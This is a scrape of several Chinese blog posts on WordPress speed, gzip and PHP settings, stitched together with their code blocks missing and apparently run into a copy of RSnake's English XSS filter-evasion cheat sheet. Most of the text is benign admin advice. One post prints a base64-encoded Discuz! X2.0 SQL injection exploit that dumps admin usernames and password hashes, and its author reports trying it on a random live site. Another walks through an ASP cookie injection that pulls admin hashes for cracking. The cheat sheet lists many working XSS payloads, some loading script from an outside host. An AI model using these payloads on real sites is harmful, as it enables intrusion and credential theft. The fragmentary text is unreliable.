src大概如下：

可见这个是用来偷偷收集用户信息的，用script的src只是为了让用户浏览器自动发送一个http请求用querystring把相关信息提交过去。

解密js代码来自这儿。

随机日志

• 2011年05月30日 // 修正vimrepress的一个bug (2)
• 2010年06月4日 // 用yuicompressor来压缩你的js、css代码 (11)
• 2011年09月16日 // 使用Google Project Hosting 托管项目[SVN] (1)
• 2009年05月18日 // PHP程序员专用输入法皮肤 (3)
• 2008年12月31日 // 主板系列知识：主板结构 (0)
• 2009年11月19日 // 一个让我很郁闷的事情：由该死的Unicode BOM引起的 (6)

于是有人开喷了：

35582944 夜色倾城 说：
这种复制的老文章就不要转了

呃，他居然一眼把此文章认定为别人复制的，好吧，虽然我是版主，这些事情我是不管的，只要你不违反版规什么的。
楼主的回复：

然后，他开始误导群众了：

作为插件区的版主，我实在看不下去这种误导广大人民群众的，于是忍不住加了一句评语。然后我解释给他听：

sejie10011 发表于 2011-10-15 16:30
wp后台的load-script是通过gzip 压缩内容后再发送的，这个不假。
前台页面内容是没有压缩的。

后来他又回帖了，语气非常D坚定，我就不用形容词了啊，各位，还有，后来他又编辑了上面的回帖，令我把积分还他（见上图）。

35582944 夜色倾城 说：

http://tool.chinaz.com/Gzips/

你去查查到底有没有开

一般情况下，没有八九成的把握我是不会出口的。其实在我评论之前，我是特意看了下WordPress 3.2.1的源码的，观其源码，只看到后台通过load-scritps.php加载的js或css文件，基本上是通过gzip压缩的。WordPress对于前台的页面并没有做任何压缩处理。

也许我这样说还有人会不信，那么请看下文：
先拿我自己的博客来做测试：

从上面的服务器返回信息Content-Encoding: gzip 及后面那一堆乱码可以看出，页面内容是经过gzip压缩的。
但是这样就能断定wordpress自身对页面进行压缩了吗？非也。

要对页面进行压缩后再发送，至少有三种方法。
其一，通过http服务器配置实现，其二，通过php.ini来实现，其三，通过PHP代码实现
可见，若要判断是不是wp自身对页面内容进行了压缩，必须先排除前二者。

下面开始干活了。
测试环境：
LAMP(Linux + Apache + Mysql + PHP )
WordPress 3.2.1 官方中文版
本地域名： huangye.com ，指向本机ip.
配置Apache,不开启页面压缩，配置php.ini默认关闭压缩，安装好wp,默认不启用任何插件。
然后，打开shell:

看到什么了？现在返回的东西是纯html代码，而不是gzip压缩后的内容，这说明，wp3.2.1并没有对页面进行压缩。好了，真相大白。

然后，我们再安装GZIP Output这个插件（插件主页：http://austinmatzko.com/2008/02/22/wordpress-gzip-plugin/），在后台搜索并安装即可，如要手动下载，请至这里：http://wordpress.org/extend/plugins/gzip-pages/

安装好这个插件后再做如下测试：

有些可见，在服务器没有开启gzip压缩的情况下，gzippy和GZIP Output这类插件的作用是相当可观的。
启用插件后用在线工具（http://www.gidnetwork.com/tools/gzip-test.php） 检测下压缩比率你就知道了。

最后，简单说下原理：

在做到检测某网站是否开启GZIP时，客户端在请求的时候,要带

代表客户端支持 gzip 这种编码的传输方式.
然后服务器才会根据自身是否开启 gzip压缩来响应.
上面我用telnet连接服务器的80端口，实际上是模拟浏览器访问http服务器，因为直接用浏览器访问，不管对方服务器有没有开启gzip压缩，你都能看到页面的内容。用telnet就比较直观了，因为telnet可不会自动帮你解gzip压缩后的内容。

若内容是gzip压缩过的，那么服务器在响应头中会加上这一句：

ps:有些服务器对内容进行 gzip 编码只针对某些文件,所以有没有返回这个,并不能作为该http服务器是否支持gzip的依据.

随机日志

• 2012年01月8日 // 实现Vim tags自动更新 (0)
• 2010年03月6日 // 关于CI与TP (0)
• 2010年05月15日 // ubuntu linux下编译安装gd-2.0.11出错 (0)
• 2011年06月3日 // Linux中gotoxy函数的一个实现 (0)
• 2009年12月2日 // PicPick：很小很强大的截图工具 (2)
• 2011年12月17日 // WordPress管理员密码忘记了怎么办？删除一个符号即可 (8)

对于安装的插件，并不是每个插件在每个页面都要加载的。
总的原则就是：
只在后台使用的插件绝不在前台加载。由于wp在初始化时会载入plugins目录下面的已激活插件和载入主题目录下面的functions.php文件，因此，在插件的“主”文件中，我们可以做些判断，如对于只需要在后台使用的插件，可用如下PHP代码包裹之：

这里我说的“主”文件，也就是loader，是有Plugin Name/Plugin URI/Description/Version　等WP标准插件注释信息的PHP文件。
有些插件不管3721，每个页面都给加载js或者CSS，其实如果用不着在某些地方加载的话，可以修改一下它，这样WP跑起来负担小多了。

2,插件按需启用/禁用

有些插件是只需隔一段时间使用一次的，如Optimize DB这个用于优化mysql数据库的插件，只需要隔一两个月使用一次即可，并不需要24小时开着。

3,尽量减少MySQL查询次数

MySQL查询是PHP代码中比较慢的部分，查询的增加，意味着运行效率的降低。
例如，存档插件，一般如果没有新文章发表，存档的内容应该是不变的，这种东西就没必要每次用户访问时都查询，可以通过add_option来将它保存在数据库中或者用文件缓存将它保存在文件中，载入页面时再取出即可。在新增日志的上挂上动作，使之更新缓存即可。
典型的例子就是我现在用的“存档”页面和我以前用的主题green the web news 的“顶部页面、菜单”和“侧边栏友情链接”，因为这些东西基本上是静态的，因此，完全可以缓存起来。
主题中的widget，尽量不要用wp自身的WP_Query来查询，那个很费时的。一般情况下使用原生的SQL语句效率最高。如友情链接、热门文章等，一般更新很少的，都可以缓存起来。
还有就是，可以使用wp自带的内存缓存系统WP_Cache ,如我之前的green the web news主题中sidebar的一个widget中的代码：

还有一个办法就是：静态化
可以使用如Hyper Cache之类的静态化插件，这样站点跑起来肯定快，静态内容嘛，基本没有多少查询的。

4,压缩合并js和CSS，按需加载

按照YSlow的建议，js尽量在footer加载，CSS尽量在Header加载。
前面我已经写过一篇关于按需加载js和CSS的文章了。(《在wordpress中按需加载JavaScript和CSS》)

不管是主题还是插件，都可以优化的。
js和CSS可以采用gzip压缩后再发送。在gzip压缩之前，我们可以先用工具压缩一下代码。
js压缩推荐采用dean edwards’s js packer
CSS压缩推荐采用Yuicompressor.jar (因CSS tidy不适合处理包含CSS3属性的CSS code)

目前最新版的是yuicompressor-2.4.6.jar　，可到这里下载。
或者直接到YUI Compressor Online在线压缩。

使用方法：

不单单是js和css,html页面也可gzip压缩后再传送，可以用GZIP Output这个插件来使wp压缩页面后再发送。

要测试你的站点是否启用了gzip压缩，可以到GIDZipTest这个页面检测。

还有就是你可以合并CSS和js,这些要合并的东东，通常是在每个页面都需要的。
合并js或css的好处是可以减少http请求数量，这也是YSlow的建议里面中的一条。
这里推荐一个插件：WP Minify,此插件可以将你的js和css文件合并为一个文件后再发送给浏览器。从一次程度上减少了HTTP请求数量。还有一个功能类似的插件，叫“PHP Speedy”。

对于静态的文件，php是无能为力了，可以靠web服务器，如apache来gzip压缩后再发送。
apache需要启用了mod_gzip模块(LoadModule gzip_module modules/mod_gzip.so)，以下指令才会生效：

服务器管理员要注意：
mod_gzip和mod_php的配合：不要让mod_gzip和mod_php使用同一个临时目录，php_session存放目录可以通过 php.ini设置到

5.向浏览器发送超时信息和Etag

HTTP的Expires headers是个很有用处的东东。
通过可以通过http服务器或者PHP来发送这些信息.
如可以通过修改.htaccess文件，增加如下指令来设置这个：

这要求apache服务器启用了mod_expires模块，关于FileETag指令，可到这里查看文档。

对于通过php方式发送的东东，如javascript 和css,可以通过PHP来发送这些信息：

关于缓存控制header(Cache-Control HTTP Headers)参数的解释：

max-age=[seconds] 与Expire类似，不过这个是相对于请求时间的，而Expire是设置一个超时的绝对时间。

设置缓存后，第一次访问页面时某个CSS的获取情况：

可以看到首次访问获取的数据是25.88 KB,耗时0.87s ,HTTP状态码是200 .

第二至第N次访问页面时CSS的获取情况：

从图中可看出其后访问获取的数据是 250 B,耗时 437 ms , HTTP状态码是304.

6,缓存gravatar

这个对于国内用户来说基本是必须的。因为处在强大的GxxFooW的之内的局域网淫民，访问gravatar服务器速度慢不说，偶尔抽风的导致gravatar头像获取不到的话，会严重影响网页的加载速度的，特别是页面中头像比较多的时候。
缓存头像可以用一个名为 GRAVATAR CACHE 的小程序（见这篇文章），或者用Hacklog Gravatar Cache或其它头像缓存插件，只要你愿意。

7,方便用页面模板搞定的绝不用插件

关于使用插件与使用页面模板的效率问题，我以前写过一篇文章《关于免插件的一点小想法(效率问题)》，插件基本上是每访问一个页面就要加载一次的，而页面模板却不同。
只有当你访问到使用了特定模板的特定页面时，才会加载该模板并执行其中的代码，因此，从某种程序上来说，使用页面模板是高效的，不过它在一定程序上失去了插件的便捷性。如我的存档页面、留言板等都是用的页面模板实现的。

随机日志

• 2011年07月11日 // 分享5个程序员专用字体 (7)
• 2009年02月15日 // php url路由的实现 (0)
• 2011年06月12日 // 最常用的10条CSS hacks (5)
• 2011年05月27日 // Cairo 2D图形库名称的来历 (0)
• 2011年07月13日 // 关于opera浏览器的一些tips (8)
• 2009年03月16日 // 再说读到的灵魂 (0)

像这种因未在包含文件中执行而产生的调用未定义函数的错误，WP本身是无法handle的，因此，得在php.ini或在apache配置文件或.htaccess文件中禁用错误报告或错误显示，如：

你完全不用担心这样设置以后WP出错了不会报告，因为在程序执行中WP自身有错误报告的相关设定。
这样设置后的好处是，可以避免让一些别有用心的人通过暴路径来获取你的WP站点信息，要知道暴路径可是web入侵时的一种重要手段。

wp-config.php最后一行是包含wp-settings.php,在wp-settings.php第57行和58行有：

我们再看下这个函数到底干了什么吧：
我们先看一下这里：wp-includes/default-constants.php 第48－58行：

如果我们没有在wp-config.php中自己定义，那么WP默认是不开启调试模式、显示错误信息、不记录错误信息在wp-content/debug.log。

在wp-includes/load.php 第262　行函数正式开始了：

这样看来，如果主题或者插件的因为修改或其它原因造成错误，PHP还是会报告的。
且WP_DEBUG_DISPLAY　在 WP_DEBUG 为 FALSE时为不起作用的，因此我们还有必要在wp-config.php中做一下设置：

以下为我的wp-config.php中的部分内容，在此帖出来仅供大家参考：

再将以下代码添加到当前主题functions.php中或者新建一php文件并在functions.php中包含之：

在非调试情况下，如有重要错误会发邮件到指定邮箱并显示：

Oops! An error has occurred…
the message has been sent to the site administrator.

在调试开启的情况下，显示详细的错误信息：

插件和主题作者要注意：
从代码级别上，可以采取以下预防措施：

或者一种更省事的做法：

随机日志

• 2011年04月28日 // drupal代码高亮模块geshifilter的安装和使用 (1)
• 2009年05月24日 // 网友造出代表“草泥马”新字(图) (3)
• 2011年05月29日 // 利用imdisable实现Fcitx与VIM模式切换 (0)
• 2009年12月4日 // 8.8.8.8 (7)
• 2012年01月7日 // 这两天在调试评论代码，把各位挡在门外了，不好意思~~ (2)
• 2008年12月31日 // 空字符串(”)，0和NULL的关系 (0)

详细：
if(!defined(‘IN_DISCUZ’)) {
exit(‘Access Denied’);
}
define(‘NOROBOT’, TRUE);
@list($_G['gp_aid'], $_G['gp_k'], $_G['gp_t'], $_G['gp_uid'], $_G['gp_tableid']) = explode(‘|’, base64_decode($_G['gp_aid']));

if(!empty($_G['gp_findpost']) && ($attach = DB::fetch_first(“SELECT pid, tid FROM “.DB::table(‘forum_attachment’).” WHERE aid=’$_G[gp_aid]‘”))) {
dheader(‘location: forum.php?mod=redirect&goto=findpost&pid=’.$attach['pid'].’&ptid=’.$attach['tid']);
}

变量aid 直接base64_decode 后传入 SQL查询，造成注射漏洞。。。

http://www.xxxx.net/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FIGxpa2UgJyVfbWVtYmVyfHh8eHx4fHg%3D

转向后网址

http://www.xxxx.net/forum.php?mod=redirect&goto=findpost&pid=1&ptid=pre_common_admincp_member

暴出表名 pre_common_admincp_member

实际查询为：

$x=”1′ and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() and TABLE_NAME like ‘%_member|x|x|x|x”;
//die (urlencode(base64_encode($x)));

在dz官网论坛看到有人已经发了exp:

Discuz! X2.0 SQL注入漏洞 EXP

DZ2.0直接暴管理账号密码（默认前缀的情况下）
/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2V
sZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4N0MzMjc0NzQ3QyxwYXNzd
29yZCkgZnJvbSBwcmVfY29tbW9uX21lbWJlciB3aGVyZSAgdXNlcm5hbWUgbGl
rZSAnYWRtaW58eHx5%3D
base64解码
1′ and 1=2 union all select 1,group_concat(username,0x7C3274747C,password)
from pre_common_member where username like ‘admin|x|y
如果不是默认前缀
暴前缀EXP
/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2V
sZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMR
VMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1
FIGxpa2UgJyVfbWVtYmVyfHh8eQ%3D

随便拿了个站测试一下，管理员的用户名和密码hash果断暴出：

dz官方已经发布:补丁

相关日志

• 2011年09月22日 // CodeColorer v0.9.9 一处JS加载BUG (3)
• 2011年08月20日 // 修正Habari检查PHP文件语法的一个BUG (1)
• 2010年04月24日 // 为discuz添加漂亮的mp3播放器[适合discuz 7.2/discuz X2] (6)
• 2010年04月17日 // 不用audio-player插件也播放mp3 (19)
• 2010年03月3日 // discuz论坛中发帖之音乐自动播放方法 (3)
• 2009年12月2日 // 深夜，在DZ官网找到了传说中的discuz1.0 (8)

可以看到页面中采用的是request方式来获取key的，asp里面的request工作方式和PHP里的是差不多的，都是可以获取get/post/cookie值的，查看其conn.asp,该文件包含了这样一句：

而这个safe.asp呢？其实并不safe .
里面仅仅对querystring作了判断，发现有select 等SQL关键字就：

这样，用post或者cookie注入都是可行的。用cookie注入更方便喽。
我们就选择 title 来注入吧，看它代码中的SQL：

我们构造一个特殊的查询值，并用js改写cookie：
我们先来试探一下我们的猜想是不是正确的：

好了，已经证实注入漏洞的存在了，开始行动，先判断出 news 表的字段长度，这里就不说了，判断出来是 14 。
开始union 注入：

再访问： http://111.xxx.xxx.xxx:81/search.asp?otype=title ，发现什么啦？
用户名和密码的md5 值出来了，然后拿去MD5 破解的网上一跑，如果幸运的话，OK， 后台权限就拿到了。

再说一下那个注入语句，这里用的是union 查询，联合查询只要求查询的表与前面查询的表的字段数目相同，并不要求数据类型也相同。查询之后，它会将查询结果合并，因此这里我们不想看到前面的查询结果，就加了条 and 1=2 ,很明显，这不会返回任何东西的，而这正是我们需要的。我们要的只是后面那条查询的结果，而且让它在原来显示正常结果的相应地方显示。仔细看下，就会发现，程序中原来的SQL经过精心构造的“关键字”(111%’ and 1=2 union select admin,password,3,4,5,6,7,8,9,10,11,12,13,14 from admin where 1=1 and aleave like ‘% super)，已经变成了：

随机日志

• 2011年12月13日 // 今天忙了一下午，都是WP升级害的 (13)
• 2008年11月29日 // 成就PHP高手的五个必由之路 (2)
• 2009年11月19日 // 一个让我很郁闷的事情：由该死的Unicode BOM引起的 (6)
• 2009年11月1日 // upgrade to ubuntu 9.10 (3)
• 2010年11月7日 // 关于3.0.1的更新提示 (9)
• 2012年01月3日 // 最近文章title属性去除HTML标签 (0)

使用举例：
(确保你已经安装了jre ,并且将jar文件放在与js同一个目录，不然你打命令时就要连路径一起打了。 )

文档：
http://www.julienlecomte.net/yuicompressor/README

相关日志

• 2010年04月17日 // 用gzip压缩js和css,加速页面装载 (5)

PHP Warning: Directive ‘safe_mode’ is deprecated in PHP 5.3 and greater in Unknown on line 0
PHP Warning: Directive ‘magic_quotes_gpc’ is deprecated in PHP 5.3 and greater in Unknown on line 0

去官方看了下，用红色的block特别注明了，php5.3已经不推荐使用这个东东了，在 PHP6 中已经将其废弃：

magic_quotes_gpc boolean
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 6.0.0. Relying on this feature is highly discouraged.

magic_quotes_gpc=on 的配置下，插入数据时，Magic quotes 会自动将数据转义。 可以从一定程度上，让初学者带离脚本的安全风险。例如在没有任何保护措施的代码下，开启了 Magic quotes 后会少很多的风险，例如注入问题。以前看一些安全方面的文章，入侵者总是喜欢选择magic_quotes_gpc=off的站下手，如果看到其magic_quotes_gpc=on ，估计就不会弄这个站了。
那么官方为什么要废除这个东东呢？搜索了一下，看到一个写得相当详细和全面的帖子，下面将其中提到的几个原因帖出：
为什么不使用 Magic quotes

可移植性
无论此功能是否开启，它都会影响脚本的可移植性，因为它影响我们后续过滤数据的操作。

性能问题
在获取所有的外部数据之前都会被转义，这无疑会增加运行时的花销（而且并不是所有的数据都需要转义）。

造成困惑
正如上述所言，并非所有的数据都需要被转义。有可能出现的一种情况，就是当你为了获取未被转义的数据，而“疯狂的”使用 stripslashes 函数。

如何禁用 magic_quotes_gpc 和safe_mode
1，用 php.ini 配置文件全局禁用

2,使用 .htaccess 文件禁用(对于虚拟主机)

禁用了这两个东东后，安全问题就更加不能忽视了。在数据入库前一定要addslashes ，出库后要记得stripslashes 。

看了下phpwind和 discuz的源码 ，发现phpwind就是直接用的addslashes和stripslashes 。而dz则是自己定义了两个函数：

dz的这两个函数的在原函数的基础上扩充了对数组数据的支持，用起来更方便。不过dz的这两个函数不够简洁，这里我给出两个简洁点的：

在数据入库前和出库后都要记得：

随机日志

• 2008年12月21日 // 不让世界改变自己（转） (0)
• 2010年05月15日 // PHP编译出错：error while loading shared libraries: libfreetype.so.6 (3)
• 2010年09月23日 // NND vsftpd郁闷了一天 (0)
• 2011年08月2日 // 理解和运用PHP中的多态性 (2)
• 2011年12月13日 // 修正codecolorer与WP 3.3兼容性 (5)
• 2011年12月4日 // 令人蛋疼的EmEditor配色问题 (3)

By RSnake

Note from the author: XSS is Cross Site Scripting. If you don’t know how XSS (Cross Site Scripting) works, this page probably won’t help you. This page is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. This page will also not show you how to mitigate XSS vectors or how to write the actual cookie/credential stealing/replay/session riding portion of the attack. It will simply show the underlying methodology and you can infer the rest. Also, please note my XSS page has been replicated by the OWASP 2.0 Guide in the Appendix section with my permission. However, because this is a living document I suggest you continue to use this site to stay up to date.

Also, please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the page, however, if you have specific concerns about outdated or obscure versions please download them from Evolt. Please see the XML format of the XSS Cheat Sheet if you intend to use CAL9000 or other automated tools. If you have an RSS reader feel free to subscribe to the Web Application Security RSS feed below, or join the forum:

XSS (Cross Site Scripting):

XSS locator. Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word “XSS” will pop up. Use the URL encoding calculator below to encode the entire string. Tip: if you’re in a rush and need to quickly check a page, often times injecting the depreciated “<PLAINTEXT>” tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:
‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

XSS locator 2. If you don’t have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses &lt;XSS to see if it is vulnerable:
”;!–”<XSS>=&{()}

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Image XSS using the JavaScript directive (IE7.0 doesn’t support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well – I’ll probably revise this at a later date):
<IMG SRC=”javascript:alert(‘XSS’);”>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

No quotes and no semicolon:
<IMG SRC=javascript:alert(‘XSS’)>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Case insensitive XSS attack vector:
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

HTML entities (the semicolons are required for this to work):
<IMG SRC=javascript:alert(&quot;XSS&quot;)>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string – this is also useful because lots of cross site scripting filters don’t know about grave accents):
<IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Malformed IMG tags. Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

fromCharCode (if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need). Click here to build your own (thanks to Hannes Leopold):
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS calculator for more information:
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for “&#XX;”, since most people don’t know about padding – up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*&#(d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I’ve seen this in the wild):
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string =~ s/.*&#(d+);.*/$1/; which assumes that there is a numeric character following the pound symbol – which is not true with hex HTML characters). Use the XSS calculator for more information:
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Embedded tab to break up the cross site scripting attack: <IMG SRC=”jav ascript:alert(‘XSS’);”>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Embedded encoded tab to break up XSS:
<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Embeded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:
<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I’ve seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):
<IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector) these are not spaces just one of the three characters as described above:
<IMG SRC = ” j a v a s c r i p t : a l e r t ( ‘ X S S ‘ ) ” >

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Null breaks up JavaScript directive. Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example:
perl -e ‘print “<IMG SRC=java�script:alert(“XSS”)>”;’ > out

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Null breaks up cross site scripting vector. Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I’ve seen this vector bypass some of the most restrictive XSS filters to date:
perl -e ‘print “<SCR�IPT>alert(“XSS”)</SCR�IPT>”;’ > out

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn’t take into account spaces in the word “javascript:” -which is correct since that won’t render- and makes the false assumption that you can’t have a space between the quote and the “javascript:” keyword. The actual reality is you can have any char from 1-32 in decimal):
<IMG SRC=” &#14; javascript:alert(‘XSS’);”>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example “<SCRIPTs” != “<SCRIPT/XSSs”:
<SCRIPT/XSS SRC=”http://ha.ckers.org/xss.js”></SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Non-alpha-non-digit part 2 XSS. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc…) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:
<BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert(“XSS”)>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Non-alpha-non-digit part 3 XSS. Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.
<SCRIPT/SRC=”http://ha.ckers.org/xss.js”></SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Extraneous open brackets. Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:
<<SCRIPT>alert(“XSS”);//<</SCRIPT>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

No closing script tags. In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don’t actually need the “></SCRIPT>” portion of this Cross Site Scripting vector. Firefox assumes it’s safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn’t effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they’re not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:
<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Protocol resolution in script tags. This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh’s protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The “.j” is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.
<SCRIPT SRC=//ha.ckers.org/.j>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Half open HTML/JavaScript XSS vector. Unlike Firefox the IE rendering engine doesn’t add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn’t require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close “>” tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((%3D)|(=))[^n]*((%3C)|<)[^n]+((%3E)|>)/ because it doesn’t require the end “>”. As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:
<IMG SRC=”javascript:alert(‘XSS’)”

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Double open angle brackets. This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it’s surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won’t:
<iframe src=http://ha.ckers.org/scriptlet.html <

